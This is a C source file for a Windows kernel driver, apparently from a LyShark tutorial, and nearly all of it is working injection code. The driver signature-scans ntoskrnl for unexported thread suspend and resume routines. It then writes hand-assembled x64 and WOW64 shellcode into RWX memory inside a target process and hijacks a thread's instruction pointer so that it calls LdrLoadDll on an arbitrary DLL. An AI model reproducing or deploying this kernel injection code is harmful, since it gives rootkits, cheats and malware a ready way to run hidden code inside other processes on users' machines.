#include "lyshark.h"
PVOID SearchOPcode(PDRIVER_OBJECT pObj, PWCHAR DriverName, PCHAR sectionName, PUCHAR opCode, int len, int offset) { PVOID dllBase = NULL; UNICODE_STRING uniDriverName; PKLDR_DATA_TABLE_ENTRY firstentry;
PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pObj->DriverSection;
firstentry = entry; RtlInitUnicodeString(&uniDriverName, DriverName);
while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry) { if (entry->FullDllName.Buffer != 0 && entry->BaseDllName.Buffer != 0) { if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0) { dllBase = entry->DllBase; break; } } entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink; }
if (dllBase) { __try { PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)dllBase; if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return NULL; } PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)dllBase + ImageDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)pImageNtHeaders64 + sizeof(pImageNtHeaders64->Signature) + sizeof(pImageNtHeaders64->FileHeader) + pImageNtHeaders64->FileHeader.SizeOfOptionalHeader);
PUCHAR endAddress = 0; PUCHAR starAddress = 0;
for (int i = 0; i < pImageNtHeaders64->FileHeader.NumberOfSections; i++) { if (memcmp(sectionName, pSectionHeader->Name, strlen(sectionName) + 1) == 0) { starAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase; endAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase + pSectionHeader->SizeOfRawData; break; } pSectionHeader++; } if (endAddress && starAddress) { for (; starAddress < endAddress - len - 1; starAddress++) { if (MmIsAddressValid(starAddress)) { int i = 0; for (; i < len; i++) { if (opCode[i] == 0x2a) continue;
if (opCode[i] != starAddress[i]) break; } if (i == len) { return starAddress + offset; } } } } } __except (EXCEPTION_EXECUTE_HANDLER) {} }
return NULL; }
PINJECT_BUFFER GetNativeCode(PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, ULONGLONG orgEip) { SIZE_T Size = PAGE_SIZE; PINJECT_BUFFER InjectBuffer = NULL; UCHAR Code[] = { 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x41, 0x53, 0x41, 0x52, 0x41, 0x51, 0x41, 0x50, 0x50, 0x51, 0x53, 0x52, 0x55, 0x54, 0x56, 0x57, 0x66, 0x9C, 0x48, 0x83, 0xEC, 0x26, 0x48, 0x31, 0xC9, 0x48, 0x31, 0xD2, 0x49, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, 0x49, 0xB9, 0, 0, 0, 0, 0, 0, 0, 0, 0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, 0xFF, 0xD0, 0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0, 0xC7, 0x02, 0x7E, 0x1E, 0x37, 0xC0, 0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0, 0x89, 0x02, 0x48, 0x83, 0xC4, 0x26, 0x66, 0x9D, 0x5F, 0x5E, 0x5C, 0x5D, 0x5A, 0x5B, 0x59, 0x58, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x50, 0x50, 0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, 0x48, 0x89, 0x44, 0x24, 0x08, 0x58, 0xC3 };
if (NT_SUCCESS(ZwAllocateVirtualMemory(ZwCurrentProcess(), &InjectBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { PUNICODE_STRING UserPath = &InjectBuffer->Path; UserPath->Length = DllFullPath->Length; UserPath->MaximumLength = DllFullPath->MaximumLength; UserPath->Buffer = InjectBuffer->Buffer;
RtlUnicodeStringCopy(UserPath, DllFullPath);
memcpy(InjectBuffer, Code, sizeof(Code));
*(ULONGLONG*)((PUCHAR)InjectBuffer + 38) = (ULONGLONG)UserPath; *(ULONGLONG*)((PUCHAR)InjectBuffer + 48) = (ULONGLONG)& InjectBuffer->ModuleHandle; *(ULONGLONG*)((PUCHAR)InjectBuffer + 58) = (ULONGLONG)LdrLoadDll; *(ULONGLONG*)((PUCHAR)InjectBuffer + 70) = (ULONGLONG)& InjectBuffer->Complete; *(ULONGLONG*)((PUCHAR)InjectBuffer + 86) = (ULONGLONG)& InjectBuffer->Status; *(ULONGLONG*)((PUCHAR)InjectBuffer + 130) = orgEip;
return InjectBuffer; } return NULL; }
PINJECT_BUFFER GetWow64Code(PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, ULONG orgEip) { SIZE_T Size = PAGE_SIZE; PINJECT_BUFFER InjectBuffer = NULL;
UCHAR Code[] = { 0x60, 0x9c, 0x68, 0, 0, 0, 0, 0x68, 0, 0, 0, 0, 0x6A, 0, 0x6A, 0, 0xE8, 0, 0, 0, 0, 0xBA, 0, 0, 0, 0, 0xC7, 0x02, 0x7E, 0x1E, 0x37, 0xC0, 0xBA, 0, 0, 0, 0, 0x89, 0x02, 0x9d, 0x61, 0x50, 0x50, 0xb8, 0, 0, 0, 0, 0x89, 0x44, 0x24, 0x04, 0x58, 0xc3 };
if (NT_SUCCESS(ZwAllocateVirtualMemory(ZwCurrentProcess(), &InjectBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { PUNICODE_STRING32 pUserPath = &InjectBuffer->Path32; pUserPath->Length = DllFullPath->Length; pUserPath->MaximumLength = DllFullPath->MaximumLength; pUserPath->Buffer = (ULONG)(ULONG_PTR)InjectBuffer->Buffer;
memcpy((PVOID)pUserPath->Buffer, DllFullPath->Buffer, DllFullPath->Length); memcpy(InjectBuffer, Code, sizeof(Code));
*(ULONG*)((PUCHAR)InjectBuffer + 3) = (ULONG)(ULONG_PTR)& InjectBuffer->ModuleHandle; *(ULONG*)((PUCHAR)InjectBuffer + 8) = (ULONG)(ULONG_PTR)pUserPath; *(ULONG*)((PUCHAR)InjectBuffer + 17) = (ULONG)((ULONG_PTR)LdrLoadDll - ((ULONG_PTR)InjectBuffer + 17) - 5 + 1); *(ULONG*)((PUCHAR)InjectBuffer + 22) = (ULONG)(ULONG_PTR)& InjectBuffer->Complete; *(ULONG*)((PUCHAR)InjectBuffer + 33) = (ULONG)(ULONG_PTR)& InjectBuffer->Status; *(ULONG*)((PUCHAR)InjectBuffer + 44) = orgEip; return InjectBuffer; }
return NULL; }
NTSTATUS SetThreadStartAddress(PETHREAD pEthread, BOOLEAN isWow64, PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, PINJECT_BUFFER *allcateAddress) { __try { if (isWow64) { PVOID pTeb = g_PsGetThreadTeb(pEthread); if (pTeb) { PWOW64_CONTEXT pCurrentContext = (PWOW64_CONTEXT)(*(ULONG64*)((ULONG64)pTeb + WOW64CONTEXTOFFSET));
ProbeForRead((PVOID)pCurrentContext, sizeof(pCurrentContext), sizeof(CHAR));
PINJECT_BUFFER newAddress = GetWow64Code(LdrLoadDll, DllFullPath, pCurrentContext->Eip); if (newAddress) { newAddress->orgRipAddress = (ULONG64)& (pCurrentContext->Eip); newAddress->orgRip = pCurrentContext->Eip; *allcateAddress = newAddress; pCurrentContext->Eip = (ULONG)(ULONG64)(newAddress); } return STATUS_SUCCESS; } } else { if (MmIsAddressValid((PVOID)* (ULONG64*)((ULONG64)pEthread + INITIALSTACKOFFSET))) { PKTRAP_FRAME pCurrentTrap = (PKTRAP_FRAME)(*(ULONG64*)((ULONG64)pEthread + INITIALSTACKOFFSET) - sizeof(KTRAP_FRAME));
PINJECT_BUFFER newAddress = GetNativeCode(LdrLoadDll, DllFullPath, pCurrentTrap->Rip); if (newAddress) { newAddress->orgRipAddress = (ULONG64)& (pCurrentTrap->Rip); newAddress->orgRip = pCurrentTrap->Rip; *allcateAddress = newAddress; pCurrentTrap->Rip = (ULONG64)newAddress; } } return STATUS_SUCCESS; } } __except (EXCEPTION_EXECUTE_HANDLER) {}
return STATUS_UNSUCCESSFUL; }
PVOID GetUserModule(IN PEPROCESS EProcess, IN PUNICODE_STRING ModuleName, IN BOOLEAN IsWow64) { if (EProcess == NULL) return NULL; __try { if (IsWow64) { PPEB32 Peb32 = (PPEB32)g_PsGetProcessWow64Process(EProcess); if (Peb32 == NULL) return NULL;
if (!Peb32->Ldr) return NULL;
for (PLIST_ENTRY32 ListEntry = (PLIST_ENTRY32)((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList.Flink; ListEntry != &((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList; ListEntry = (PLIST_ENTRY32)ListEntry->Flink) { UNICODE_STRING UnicodeString; PLDR_DATA_TABLE_ENTRY32 LdrDataTableEntry32 = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY32, InLoadOrderLinks);
RtlUnicodeStringInit(&UnicodeString, (PWCH)LdrDataTableEntry32->BaseDllName.Buffer);
if (RtlCompareUnicodeString(&UnicodeString, ModuleName, TRUE) == 0) return (PVOID)LdrDataTableEntry32->DllBase; } } else { PPEB Peb = PsGetProcessPeb(EProcess); if (!Peb) return NULL;
if (!Peb->Ldr) return NULL;
for (PLIST_ENTRY ListEntry = Peb->Ldr->InLoadOrderModuleList.Flink; ListEntry != &Peb->Ldr->InLoadOrderModuleList; ListEntry = ListEntry->Flink) { PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (RtlCompareUnicodeString(&LdrDataTableEntry->BaseDllName, ModuleName, TRUE) == 0) return LdrDataTableEntry->DllBase; } } } __except (EXCEPTION_EXECUTE_HANDLER){}
return NULL; }
PVOID GetModuleExport(IN PVOID ModuleBase, IN PCCHAR FunctionName) { PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase; PIMAGE_NT_HEADERS32 ImageNtHeaders32 = NULL; PIMAGE_NT_HEADERS64 ImageNtHeaders64 = NULL; PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = NULL; ULONG ExportDirectorySize = 0; ULONG_PTR FunctionAddress = 0;
if (ModuleBase == NULL) return NULL;
__try { if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return NULL; }
ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew); ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
if (ImageNtHeaders64->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase); ExportDirectorySize = ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; } else { ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase); ExportDirectorySize = ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; }
PUSHORT pAddressOfOrds = (PUSHORT)(ImageExportDirectory->AddressOfNameOrdinals + (ULONG_PTR)ModuleBase); PULONG pAddressOfNames = (PULONG)(ImageExportDirectory->AddressOfNames + (ULONG_PTR)ModuleBase); PULONG pAddressOfFuncs = (PULONG)(ImageExportDirectory->AddressOfFunctions + (ULONG_PTR)ModuleBase);
for (ULONG i = 0; i < ImageExportDirectory->NumberOfFunctions; ++i) { USHORT OrdIndex = 0xFFFF; PCHAR pName = NULL;
if ((ULONG_PTR)FunctionName <= 0xFFFF) { OrdIndex = (USHORT)i; } else if ((ULONG_PTR)FunctionName > 0xFFFF && i < ImageExportDirectory->NumberOfNames) { pName = (PCHAR)(pAddressOfNames[i] + (ULONG_PTR)ModuleBase); OrdIndex = pAddressOfOrds[i]; }
else return NULL;
if (((ULONG_PTR)FunctionName <= 0xFFFF && (USHORT)((ULONG_PTR)FunctionName) == OrdIndex + ImageExportDirectory->Base) || ((ULONG_PTR)FunctionName > 0xFFFF && strcmp(pName, FunctionName) == 0)) { FunctionAddress = pAddressOfFuncs[OrdIndex] + (ULONG_PTR)ModuleBase; break; } } } __except (EXCEPTION_EXECUTE_HANDLER){}
return (PVOID)FunctionAddress; }
NTSTATUS KernelInjectDLL(ULONG pid, PUNICODE_STRING DllFullPath, PINJECT_BUFFER* allcateAddress) { PEPROCESS pEprocess = NULL;
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess))) { KAPC_STATE kApc = { 0 };
KeStackAttachProcess(pEprocess, &kApc);
UNICODE_STRING ntdllString = RTL_CONSTANT_STRING(L"Ntdll.dll"); PVOID NtdllAddress = GetUserModule(pEprocess, &ntdllString, g_PsGetProcessWow64Process(pEprocess) != 0); if (!NtdllAddress) { KeUnstackDetachProcess(&kApc); ObDereferenceObject(pEprocess); return STATUS_UNSUCCESSFUL; }
PVOID LdrLoadDll = GetModuleExport(NtdllAddress, "LdrLoadDll"); if (!LdrLoadDll) { KeUnstackDetachProcess(&kApc); ObDereferenceObject(pEprocess); return STATUS_UNSUCCESSFUL; }
HANDLE threadHandle = NULL;
if (NT_SUCCESS(g_ZwGetNextThread((HANDLE)-1, (HANDLE)0, 0x1FFFFF, 0x240, 0, &threadHandle))) { PVOID threadObj = NULL;
NTSTATUS state = ObReferenceObjectByHandle(threadHandle, 0x1FFFFF, *PsThreadType, KernelMode, &threadObj, NULL); if (NT_SUCCESS(state)) { g_PsSuspendThread(threadObj, NULL);
SetThreadStartAddress(threadObj, g_PsGetProcessWow64Process(pEprocess) != 0, LdrLoadDll, DllFullPath, allcateAddress);
g_PsResumeThread(threadObj, NULL); ObDereferenceObject(threadObj); } NtClose(threadHandle); }
KeUnstackDetachProcess(&kApc); ObDereferenceObject(pEprocess); } return STATUS_SUCCESS; }
NTSTATUS UnDriver(PDRIVER_OBJECT driver) { UNREFERENCED_PARAMETER(driver); return STATUS_SUCCESS; }
NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) { DbgPrint("Hello LyShark.com \n");
UNREFERENCED_PARAMETER(RegistryPath);
UCHAR SuspendOpCode[] = { 0x48, 0x8b, 0xf9, 0x83, 0x64, 0x24, 0x20, 0x00, 0x65, 0x48, 0x8b, 0x34, 0x25, 0x88, 0x01 }; UCHAR ResumeOpCode[] = { 0x48, 0x8b, 0xf9, 0xe8, 0xee, 0x4f, 0xa5, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25, 0x88 };
g_PsSuspendThread = (PPsSuspendThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", SuspendOpCode, sizeof(SuspendOpCode), -24); DbgPrint("PsSuspendThread = %p \n", g_PsSuspendThread);
g_PsResumeThread = (PPsResumeThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", ResumeOpCode, sizeof(ResumeOpCode), -18); DbgPrint("PsResumeThread = %p \n", g_PsResumeThread);
UNICODE_STRING ZwGetNextThreadString = RTL_CONSTANT_STRING(L"ZwGetNextThread"); g_ZwGetNextThread = (PZwGetNextThread)MmGetSystemRoutineAddress(&ZwGetNextThreadString); DbgPrint("ZwGetNextThread = %p \n", g_ZwGetNextThread);
UNICODE_STRING PsGetThreadTebString = RTL_CONSTANT_STRING(L"PsGetThreadTeb"); g_PsGetThreadTeb = (PPsGetThreadTeb)MmGetSystemRoutineAddress(&PsGetThreadTebString); DbgPrint("PsGetThreadTeb = %p \n", g_PsGetThreadTeb);
UNICODE_STRING PsGetProcessWow64ProcessString = RTL_CONSTANT_STRING(L"PsGetProcessWow64Process"); g_PsGetProcessWow64Process = (PPsGetProcessWow64Process)MmGetSystemRoutineAddress(&PsGetProcessWow64ProcessString); DbgPrint("PsGetProcessWow64Process = %p \n", g_PsGetProcessWow64Process);
ULONG ProcessID = 984; UNICODE_STRING InjectDllPath = RTL_CONSTANT_STRING(L"C:\\Users\\lyshark\\Desktop\\hook.dll"); PINJECT_BUFFER AllcateAddress = NULL;
NTSTATUS Status = KernelInjectDLL(ProcessID, &InjectDllPath, &AllcateAddress); if (Status == STATUS_SUCCESS) { DbgPrint("[*] 线程注入PID = %d | DLL = %wZ \n", ProcessID, InjectDllPath); }
Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }
|